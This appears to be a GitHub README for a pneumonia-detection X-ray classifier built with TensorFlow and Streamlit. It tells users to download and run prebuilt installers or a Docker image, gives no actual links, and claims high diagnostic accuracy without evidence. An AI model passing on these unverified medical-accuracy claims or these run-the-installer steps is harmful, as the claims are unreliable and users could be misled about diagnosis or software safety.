🩺 medical-image-classifier - Detect Pneumonia in X-rays Easily

🌟 Overview

The medical-image-classifier is a deep learning tool designed to detect pneumonia in chest X-rays. It uses advanced techniques like TensorFlow and Streamlit to analyze medical images quickly and accurately, helping healthcare professionals make informed decisions.

🚀 Getting Started

To get started, follow these easy steps to download and run the application.

1. System Requirements

Before installing, ensure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• RAM: At least 4 GB
• Storage: Minimum of 1 GB of free space
• Python Version: Python 3.6 or higher
• Additional Software: Docker, if running on a server

2. Download the Application

To download the medical-image-classifier, please visit this page to download.

3. Installation Instructions

Follow these steps to install the application on your computer:

For Windows

1. Open the Releases page.
2. Download the file for your Windows system.
3. Locate the downloaded file in your Downloads folder.
4. Double-click the file to run the installer.
5. Follow the on-screen instructions.

For macOS

1. Go to the Releases page.
2. Download the file for macOS.
3. Open your Downloads folder and find the downloaded file.
4. Double-click the file to start the installer.
5. Follow the prompts to complete the installation.

For Linux

1. Visit the Releases page.
2. Download the Linux file.
3. Open the terminal and navigate to the folder where the file is saved.
4. Make the file executable using:

   chmod +x filename

5. Run the installer with:

   ./filename

👨‍⚕️ Using the Application

Once installed, you can easily classify chest X-ray images. Here’s how:

1. Open the application.
2. Upload a chest X-ray image.
3. Click on the "Classify" button.
4. Wait for the results indicating whether pneumonia is detected.

📦 Docker Installation (Optional)

If you prefer using Docker, follow these steps:

1. Ensure Docker is installed on your machine.
2. Pull the application image by running:

   docker pull iansploit/medical-image-classifier

3. Run the container with:

   docker run -p 8501:8501 iansploit/medical-image-classifier

📊 Features

• User-Friendly Interface: Easy to navigate even for beginners.
• Fast Processing: Delivers results in seconds.
• High Accuracy: Uses state-of-the-art deep learning algorithms.
• Supports Multiple Formats: Accepts various image formats for analysis.

🛠️ Troubleshooting

If you encounter issues, here are some common solutions:

• Installation Failed: Ensure you have the correct version of Python and check your system’s storage.
• Application Does Not Start: Verify that all necessary dependencies are installed, particularly if using Docker.
• Results Are Inaccurate: Make sure that the uploaded image is clear and correctly formatted.

🔗 Additional Resources

• Documentation: GitHub Wiki offers more detailed information on functionalities.
• Community Support: Join our community here to ask questions and share insights.

📧 Contact

For support or inquiries, you can reach us via GitHub Issues.

🔄 Contributing

We welcome contributions! If you're interested in improving the application, please visit our contributing guide.

👥 License

This project is licensed under the MIT License. See the LICENSE file for details.